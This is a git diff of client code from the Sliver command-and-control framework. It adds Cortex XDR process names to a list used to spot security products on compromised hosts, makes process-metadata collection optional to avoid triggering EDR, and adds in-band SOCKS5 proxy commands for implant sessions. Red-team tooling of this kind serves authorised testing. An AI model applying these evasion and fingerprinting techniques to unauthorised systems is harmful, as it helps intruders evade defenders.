f.StringP("exe", "e", "", "filter based on executable name")
|
||||
f.StringP("owner", "o", "", "filter based on owner")
|
||||
f.BoolP("print-cmdline", "c", false, "print command line arguments")
|
||||
f.StringP("owner", "o", "", "filter based on owner, must request full process metadata (-f)")
|
||||
f.BoolP("print-cmdline", "c", false, "print command line arguments, must request full process metadata (-f)")
|
||||
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
|
||||
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
|
||||
f.BoolP("tree", "T", false, "print process tree")
|
||||
f.BoolP("full", "f", false, "show full process metadata (owner, architecture, session information) -- may trigger EDR")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
@@ -100,6 +100,11 @@ var knownSecurityTools = map[string][]string{
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
|
||||
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
|
||||
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
|
||||
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
|
||||
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
@@ -108,14 +113,45 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ownerFilter, _ := cmd.Flags().GetString("owner")
|
||||
cmdLine, _ := cmd.Flags().GetBool("print-cmdline")
|
||||
tree, _ := cmd.Flags().GetBool("tree")
|
||||
fullInfo, _ := cmd.Flags().GetBool("full")
|
||||
|
||||
if tree && fullInfo {
|
||||
con.PrintWarnf("Process tree and full process metadata were requested. " +
|
||||
"Full process metadata is not necessary for the process tree, so the request for full process metadata will be ignored.\n\n")
|
||||
fullInfo = false
|
||||
}
|
||||
|
||||
if ownerFilter != "" && !fullInfo {
|
||||
con.PrintErrorf("Filtering on process owner was requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
|
||||
return
|
||||
}
|
||||
|
||||
if cmdLine && !fullInfo {
|
||||
con.PrintErrorf("Process command line arguments were requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Get OS information
|
||||
os := getOS(session, beacon)
|
||||
|
||||
/*
|
||||
Because a full list can trigger EDR on some platforms,
|
||||
namely Windows, filtering of the process list must be
|
||||
done on the implant side.
|
||||
*/
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
FullInfo: fullInfo,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
os := getOS(session, beacon)
|
||||
|
||||
if ps.Response != nil && ps.Response.Async {
|
||||
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ps)
|
||||
@@ -123,7 +159,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, cmd.Flags(), con)
|
||||
PrintPS(os, ps, false, fullInfo, cmd.Flags(), con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
@@ -132,7 +168,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, cmd.Flags(), con)
|
||||
PrintPS(os, ps, true, fullInfo, cmd.Flags(), con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
@@ -151,7 +187,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
}
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) {
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags *pflag.FlagSet, con *console.SliverClient) {
|
||||
pidFilter, _ := flags.GetInt("pid")
|
||||
exeFilter, _ := flags.GetString("exe")
|
||||
ownerFilter, _ := flags.GetString("owner")
|
||||
@@ -180,15 +216,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
defaultInfo := table.Row{"pid", "ppid", "executable"}
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
if fullInfo {
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
} else {
|
||||
tw.AppendHeader(defaultInfo)
|
||||
}
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
if fullInfo {
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
} else {
|
||||
tw.AppendHeader(defaultInfo)
|
||||
}
|
||||
}
|
||||
|
||||
cmdLine, _ := flags.GetBool("print-cmdline")
|
||||
@@ -202,7 +248,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(proc, cmdLine, fullInfo, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
@@ -230,7 +276,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row {
|
||||
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
@@ -247,7 +293,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
var row table.Row
|
||||
switch session.GetOS() {
|
||||
case "windows":
|
||||
if cmdLine {
|
||||
if cmdLine && fullInfo {
|
||||
var args string
|
||||
if len(proc.CmdLine) >= 1 {
|
||||
args = strings.Join(proc.CmdLine, " ")
|
||||
@@ -263,13 +309,21 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
case "darwin":
|
||||
@@ -277,7 +331,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
if cmdLine {
|
||||
if cmdLine && fullInfo {
|
||||
var args string
|
||||
if len(proc.CmdLine) >= 2 {
|
||||
args = strings.Join(proc.CmdLine, " ")
|
||||
@@ -292,12 +346,20 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,6 +19,7 @@ package command
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
@@ -26,9 +27,12 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/c2profiles"
|
||||
"github.com/bishopfox/sliver/client/command/certificates"
|
||||
"github.com/bishopfox/sliver/client/command/clean"
|
||||
"github.com/bishopfox/sliver/client/command/crack"
|
||||
"github.com/bishopfox/sliver/client/command/creds"
|
||||
"github.com/bishopfox/sliver/client/command/exit"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/hosts"
|
||||
"github.com/bishopfox/sliver/client/command/info"
|
||||
@@ -41,6 +45,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
|
||||
"github.com/bishopfox/sliver/client/command/socks"
|
||||
"github.com/bishopfox/sliver/client/command/taskmany"
|
||||
"github.com/bishopfox/sliver/client/command/update"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
@@ -88,11 +93,14 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
licenses.Commands,
|
||||
settings.Commands,
|
||||
alias.Commands,
|
||||
extensions.Commands,
|
||||
armory.Commands,
|
||||
update.Commands,
|
||||
operators.Commands,
|
||||
creds.Commands,
|
||||
crack.Commands,
|
||||
certificates.Commands,
|
||||
clean.Command,
|
||||
)
|
||||
|
||||
// C2 Network
|
||||
@@ -101,6 +109,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
websites.Commands,
|
||||
wireguard.Commands,
|
||||
c2profiles.Commands,
|
||||
socks.RootCommands,
|
||||
)
|
||||
|
||||
// Payloads
|
||||
@@ -125,6 +134,26 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
|
||||
// [ Post-command declaration setup ]-----------------------------------------
|
||||
|
||||
// Load Extensions
|
||||
// Similar to the SliverCommand loading, without adding the commands to the
|
||||
// Server command tree. This is done to ensure that the extensions are loaded
|
||||
// before the server is started, so that the extensions are registered.
|
||||
extensionManifests := extensions.GetAllExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
_, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
if err != nil {
|
||||
//con doesn't appear to be initialised here?
|
||||
//con.PrintErrorf("Failed to load extension: %s", err)
|
||||
fmt.Printf("Failed to load extension: %s\n", err)
|
||||
continue
|
||||
}
|
||||
|
||||
//for _, ext := range mext.ExtCommand {
|
||||
// extensions.ExtensionRegisterCommand(ext, sliver, con)
|
||||
//}
|
||||
}
|
||||
|
||||
// Everything below this line should preferably not be any command binding
|
||||
// (although you can do so without fear). If there are any final modifications
|
||||
// to make to the server menu command tree, it time to do them here.
|
||||
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -35,6 +36,16 @@ func CloseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
|
||||
// remove any active socks proxies
|
||||
socks := core.SocksProxies.List()
|
||||
if len(socks) != 0 {
|
||||
for _, p := range socks {
|
||||
if p.SessionID == session.ID {
|
||||
core.SocksProxies.Remove(p.ID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close the session
|
||||
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
|
||||
@@ -87,6 +87,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
screenshot.Commands,
|
||||
environment.Commands,
|
||||
registry.Commands,
|
||||
extensions.SliverCommands,
|
||||
)
|
||||
|
||||
// [ Filesystem ]
|
||||
@@ -127,9 +128,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
bind(consts.AliasHelpGroup)
|
||||
|
||||
// [ Extensions ]
|
||||
bind(consts.ExtensionHelpGroup,
|
||||
extensions.Commands,
|
||||
)
|
||||
bind(consts.ExtensionHelpGroup)
|
||||
|
||||
// [ Post-command declaration setup ]----------------------------------------
|
||||
|
||||
@@ -144,7 +143,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
|
||||
}
|
||||
|
||||
// Load Extensions
|
||||
extensionManifests := assets.GetInstalledExtensionManifests()
|
||||
extensionManifests := extensions.GetAllExtensionManifests()
|
||||
for _, manifest := range extensionManifests {
|
||||
mext, err := extensions.LoadExtensionManifest(manifest)
|
||||
// Absorb error in case there's no extensions manifest
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
package socks
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func RootCommands(con *console.SliverClient) []*cobra.Command {
|
||||
socksCmd := &cobra.Command{
|
||||
Use: consts.Socks5Str,
|
||||
Short: "In-band SOCKS5 Proxy",
|
||||
Long: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
GroupID: consts.NetworkHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SocksCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", true, socksCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
socksStopCmd := &cobra.Command{
|
||||
Use: consts.StopStr,
|
||||
Short: "Stop a SOCKS5 proxy",
|
||||
Long: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SocksStopCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
socksCmd.AddCommand(socksStopCmd)
|
||||
flags.Bind("", false, socksStopCmd, func(f *pflag.FlagSet) {
|
||||
f.Uint64P("id", "i", 0, "id of portfwd to remove")
|
||||
})
|
||||
flags.BindFlagCompletions(socksStopCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["id"] = SocksIDCompleter(con)
|
||||
})
|
||||
|
||||
return []*cobra.Command{socksCmd}
|
||||
}
|
||||
@@ -42,6 +42,8 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
return socks[i].ID < socks[j].ID
|
||||
})
|
||||
|
||||
session := con.ActiveTarget.GetSession()
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
@@ -52,6 +54,10 @@ func SocksCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
"Passwords",
|
||||
})
|
||||
for _, p := range socks {
|
||||
// if we're in an active session, just display socks proxies for the session
|
||||
if session != nil && session.ID != p.SessionID {
|
||||
continue
|
||||
}
|
||||
tw.AppendRow(table.Row{p.ID, p.SessionID, p.BindAddr, p.Username, p.Password})
|
||||
}
|
||||
|
||||
|
||||
@@ -227,7 +227,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
extensions.PrintExtOutput("", "", callExtension, con)
|
||||
extensions.PrintExtOutput("", "", nil, callExtension, con)
|
||||
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
@@ -628,8 +628,11 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
|
||||
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
|
||||
f.BoolP("tree", "T", false, "print process tree")
|
||||
f.BoolP("full", "f", false, "show full process info (owner, command line, session information, may trigger EDR), default true on all non-Windows OSs, false on Windows")
|
||||
|
||||
processes.PrintPS(beacon.OS, ps, true, f, con)
|
||||
fullInfo := beacon.OS != "windows"
|
||||
|
||||
processes.PrintPS(beacon.OS, ps, true, fullInfo, f, con)
|
||||
|
||||
case sliverpb.MsgTerminateReq:
|
||||
terminate := &sliverpb.Terminate{}
|
||||
|
||||
@@ -50,6 +50,9 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Request and response content is not needed for cancelling a task
|
||||
task.Request = nil
|
||||
task.Response = nil
|
||||
}
|
||||
|
||||
if task != nil {
|
||||
|
||||
@@ -264,11 +264,13 @@ func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) err
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer writer.Close()
|
||||
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
bar := pb.Full.Start64(limit)
|
||||
barReader := bar.NewProxyReader(resp.Body)
|
||||
|
||||
@@ -88,7 +88,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
con.PrintInfof("New client config:")
|
||||
con.PrintInfof("New client config:\n")
|
||||
con.Println(output.String())
|
||||
} else {
|
||||
if !strings.HasSuffix(save, ".conf") {
|
||||
|
||||
+49
-27
@@ -35,7 +35,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -268,14 +267,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
@@ -295,13 +286,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
con.PrintErrorf("Active session disconnected")
|
||||
}
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.RemoveImplant(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator", session.Name)
|
||||
}
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
@@ -311,16 +295,6 @@ func (con *SliverClient) startEventLoop() {
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
|
||||
@@ -382,7 +356,7 @@ func (con *SliverClient) triggerReactions(event *clientpb.Event) {
|
||||
for _, reaction := range reactions {
|
||||
for _, line := range reaction.Commands {
|
||||
con.PrintInfof(Bold+"Execute reaction: '%s'"+Normal, line)
|
||||
err := con.App.ActiveMenu().RunCommand(line)
|
||||
err := con.App.ActiveMenu().RunCommandLine(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Reaction command error: %s\n", err)
|
||||
}
|
||||
@@ -984,5 +958,53 @@ var asciiLogos = []string{
|
||||
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
|
||||
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
|
||||
` + "`------'`------'`------'`------'`------'`------'" + `
|
||||
` + Normal,
|
||||
|
||||
Purple + `
|
||||
****@@ @@****
|
||||
@@@@@@***@ @***@@@@@@
|
||||
@%%@@@%%#***@ @***#%%@@@%%@
|
||||
%%%%%##%%%%****@ @****%%%%##%%%%%
|
||||
%%%%#####%%%%#*###@ @#####%%%%#####%%%%
|
||||
@%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@
|
||||
%%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@
|
||||
#%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%%
|
||||
%#%===++@*####%@@@@###### ######@@@@%####*@++===%%%
|
||||
@#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@
|
||||
#@----%=+*%%%%@@@%%%####%%%@ @ @ @%%%####%%%@@@%%%%*+=%----@#
|
||||
#%----=#++*%%%%@%%%%%@%%%%%%%%%@ @%%%%%%%%%@%%%%%@%%%%*++#=----%#
|
||||
%+----===+**@%%@#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%@**+===----+%
|
||||
@=----==++***@%@#%%%%%%%@%%%%@%%%%%%%%%%%%%%%%%%%%@%%%%@%%%%%%%#@%@***++==-----@
|
||||
-----==+#%**##@@%%%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@%%%@@##**%#+==-----
|
||||
%----==+**%%%%@@@#@%%%%%%%%%%@%%%%%%%%%%%%%%%%%%@%%%%%%%%%%@#@@@%%%%*++==----%
|
||||
=--#+=+**#@%%####%####%%%%@@@@@%%%%%%##%%%%%%@@@@@@%%%####%####%%@#**+=+#--=
|
||||
+-==+*%%%%########%#######%@@@@@@%%%%%#%%@@@@@@%#######%########%%%%*+==-=
|
||||
-----==++**#%######################%@@@%%%%@@@%######################%#**++==-----
|
||||
=--===+**######@##############%%%%%%%%%%%%%%%%%%%%##############@######**+===--=
|
||||
%-==+%@@@#######%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%%%@@%%%%%%%%%#######@@@%+==-%
|
||||
@=@@@@@@@@#%%%%%%%%%%%%%%@@%%%%%%%%%%%%%%%%%%%%%%@@@%%%%%%%%%%%%%#@@@@@@@@=@
|
||||
@@@@@@@@@@@@@%%%%%%%%%%%%@@@@%%%%%%%%**%%%%%%%%@@@@%%%%%%%%%%%%@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@%%#%@@%%%%@@@@@%%%%%@#**#@%%%%%@@@@@%%%%@@%#%%@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@%#####%#%%%%%%%@%###**###%@%%%%%%%#######%@@@@@@@@@@@@@@@@@@@@
|
||||
@@@@@@@@@@@@@@@@@@@@@@@*##%%%%%%%%%%%%%##**##%%%%%%%%%%%%###*@@@@@@@@@@@@@@@@@@@@@@@
|
||||
@%%%%%@@@@@@@@@@@@@@@@@@@ %%%%%%%%%%%%%##**##%%%%%%%%%%%%% @@@@@@@@@@@@@@@@@@@%%%%%@
|
||||
@%%%%%%%%%%%%%%@@@@@@@@@@@@ . %%%%%@%%%%%##**##%%%%%@%%%%% @@@@@@@@@@@@%%%%%%%%%%%%%%@
|
||||
%%%%%%%@+. % :@%%%%%%%%@@@@@@@@@%@%%@@@@##**##@@@@%%@%@@@@@@@@@%%%%%%%%@: % ..+@%%%%%%%
|
||||
%#. . : .-@%%%%%@@@@@@@@@@@@@@##**##@@@@@@@@@@@@@@%%%%%@-. : .*%
|
||||
@%%@* #..:--=++*@%@@@@@@@@@@@@##**##@@@@@@@@@@@@@@*++==-:. # *@%%@
|
||||
%%%%%%@..*.:+% ..::+-==++++@-=@@@@@@@@@@@%####%@@@@@@@@@@@=-@++++==-+::.. #+:.*..@%%%%%%
|
||||
@###%.......::%-==++**#@++#*: .:-+@@@@@@@@@@%####%@@@@@@@@@@+-:. .*#++@#**++==-%::.......%###@
|
||||
#%..........:::-==%+*******@* . .:-+@@@@@@@@@@####@@@@@@@@@@+-: #@*******+%=--:::..........%#
|
||||
@@@+:...::::--=++**@***##*==+ :-+@@@.@@@@%%##%%@@@@.@@@+-: ++=*##***@**++=--::::...:+@@@
|
||||
@%%%***###%@#****##@##++++++. .:=*@+ @@@@%%##%%@@@@ =@*=:. .+++++=##@##****#@%###***%%%@
|
||||
@@=====+++++***#####%%%%@++++**#.:=*@ .@@%%####%%@@. @*=:.#***+++@%%%%#####***+++++=====@@
|
||||
@@@#+++++***##%%%%%***##%%*# @@*------*@@ #*%%##***%%%%%##***+++++#@@@
|
||||
@@@@%%%@%%%%%. **--------** .%%%%%%%%%@@@@
|
||||
@%%%% %@@@@@@@@@@@@@ %%%%@
|
||||
@@ @::@@@@@@@@@@::@ @@
|
||||
-::::::@@@@:::::::
|
||||
*-----========-----+
|
||||
@###%%%@@@@%%%###@
|
||||
@%%%%%%@
|
||||
` + Normal,
|
||||
}
|
||||
@@ -133,9 +133,9 @@ const (
|
||||
TasksStr = "tasks"
|
||||
CancelStr = "cancel"
|
||||
GenerateStr = "generate"
|
||||
C2GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerInfoStr = "info"
|
||||
MsfStagerStr = "msf-stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
@@ -146,6 +146,7 @@ const (
|
||||
C2ProfileStr = "c2profiles"
|
||||
ImportC2ProfileStr = "import"
|
||||
ExportC2ProfileStr = "export"
|
||||
CertificatesStr = "certificates"
|
||||
|
||||
// Generic.
|
||||
|
||||
@@ -162,6 +163,11 @@ const (
|
||||
TablesStr = "tables"
|
||||
DetailsStr = "details"
|
||||
GraphStr = "graph"
|
||||
EnableStr = "enable"
|
||||
DisableStr = "disable"
|
||||
ModifyStr = "modify"
|
||||
RefreshStr = "refresh"
